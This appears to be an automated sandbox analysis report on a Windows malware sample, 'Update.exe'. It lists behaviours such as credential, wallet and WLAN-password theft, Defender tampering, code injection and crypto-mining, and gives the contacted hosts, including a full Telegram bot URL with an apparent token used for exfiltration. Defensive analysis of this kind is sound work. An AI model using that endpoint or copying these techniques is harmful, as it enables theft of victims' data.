Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2B62 bind,WSAGetLastError, 1_2_00007FFDFAFA2B62
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1507718 Sample: Update.exe Startdate: 09/09/2024 Architecture: WINDOWS Score: 100 124 api.telegram.org 2->124 126 pool.hashvault.pro 2->126 128 ip-api.com 2->128 142 Multi AV Scanner detection for domain / URL 2->142 144 Suricata IDS alerts for network traffic 2->144 146 Found malware configuration 2->146 150 17 other signatures 2->150 12 Update.exe 23 2->12         started        16 nfblozsybbjy.exe 2->16         started        signatures3 148 Uses the Telegram API (likely for C&C communication) 124->148 process4 file5 114 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 12->114 dropped 116 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32+ 12->116 dropped 118 C:\Users\user\AppData\Local\...\select.pyd, PE32+ 12->118 dropped 122 16 other files (15 malicious) 12->122 dropped 170 Very long command line found 12->170 172 Modifies Windows Defender protection settings 12->172 174 Adds a directory exclusion to Windows Defender 12->174 184 3 other signatures 12->184 18 Update.exe 108 12->18         started        120 C:\Windows\Temp\jxokwqntprmq.sys, PE32+ 16->120 dropped 176 Multi AV Scanner detection for dropped file 16->176 178 Injects code into the Windows Explorer (explorer.exe) 16->178 180 Modifies the context of a thread in another process (thread injection) 16->180 182 Sample is not signed and drops a device driver 16->182 22 explorer.exe 16->22         started        24 powershell.exe 16->24         started        26 cmd.exe 16->26         started        28 6 other processes 16->28 signatures6 process7 dnsIp8 130 api.telegram.org 149.154.167.220, 443, 49745 TELEGRAMRU United Kingdom 18->130 132 ip-api.com 208.95.112.1, 49744, 80 TUT-ASUS United States 18->132 152 Very long command line found 18->152 154 Found many strings related to Crypto-Wallets (likely being stolen) 18->154 156 Tries to harvest and steal browser information (history, passwords, etc) 18->156 164 6 other signatures 18->164 30 cmd.exe 1 18->30         started        33 cmd.exe 18->33         started        35 cmd.exe 18->35         started        45 20 other processes 18->45 134 pool.hashvault.pro 45.76.89.70, 49743, 80 AS-CHOOPAUS United States 22->134 158 System process connects to network (likely due to code injection or exploit) 22->158 160 Query firmware table information (likely to detect VMs) 22->160 162 Loading BitLocker PowerShell Module 24->162 37 conhost.exe 24->37         started        39 conhost.exe 26->39         started        41 wusa.exe 26->41         started        43 conhost.exe 28->43         started        47 4 other processes 28->47 signatures9 process10 signatures11 188 Suspicious powershell command line found 30->188 190 Very long command line found 30->190 192 Encrypted powershell cmdline option found 30->192 200 2 other signatures 30->200 49 powershell.exe 23 30->49         started        52 conhost.exe 30->52         started        54 bound.exe 33->54         started        57 conhost.exe 33->57         started        59 powershell.exe 35->59         started        61 conhost.exe 35->61         started        194 Modifies Windows Defender protection settings 45->194 196 Adds a directory exclusion to Windows Defender 45->196 198 Tries to harvest and steal WLAN passwords 45->198 63 getmac.exe 45->63         started        65 powershell.exe 23 45->65         started        67 38 other processes 45->67 process12 file13 136 Loading BitLocker PowerShell Module 49->136 108 C:\Users\user\AppData\Local\...\lf6o4T3T.exe, PE32 54->108 dropped 110 C:\Users\user\AppData\Local\Temp\Build.exe, PE32+ 54->110 dropped 69 Build.exe 54->69         started        73 lf6o4T3T.exe 54->73         started        112 C:\Users\user\AppData\...\yidhhzbx.cmdline, Unicode 59->112 dropped 75 csc.exe 59->75         started        138 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 63->138 140 Writes or reads registry keys via WMI 63->140 signatures14 process15 file16 104 C:\ProgramData\...\nfblozsybbjy.exe, PE32+ 69->104 dropped 166 Multi AV Scanner detection for dropped file 69->166 168 Adds a directory exclusion to Windows Defender 69->168 77 powershell.exe 69->77         started        80 cmd.exe 69->80         started        82 sc.exe 69->82         started        86 8 other processes 69->86 106 C:\Users\user\AppData\Local\...\yidhhzbx.dll, PE32 75->106 dropped 84 cvtres.exe 75->84         started        signatures17 process18 signatures19 186 Loading BitLocker PowerShell Module 77->186 88 conhost.exe 77->88         started        90 conhost.exe 80->90         started        92 wusa.exe 80->92         started        94 conhost.exe 82->94         started        96 conhost.exe 86->96         started        98 conhost.exe 86->98         started        100 conhost.exe 86->100         started        102 4 other processes 86->102 process20
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.76.89.70
 pool.hashvault.pro United States
20473 AS-CHOOPAUS true
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true
pool.hashvault.pro 45.76.89.70 true
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot5909479554:AAHBh0elmAGqD01xNsl_4RAIClCAhxA3CaI/sendDocument true
  • Avira URL Cloud: safe
 unknown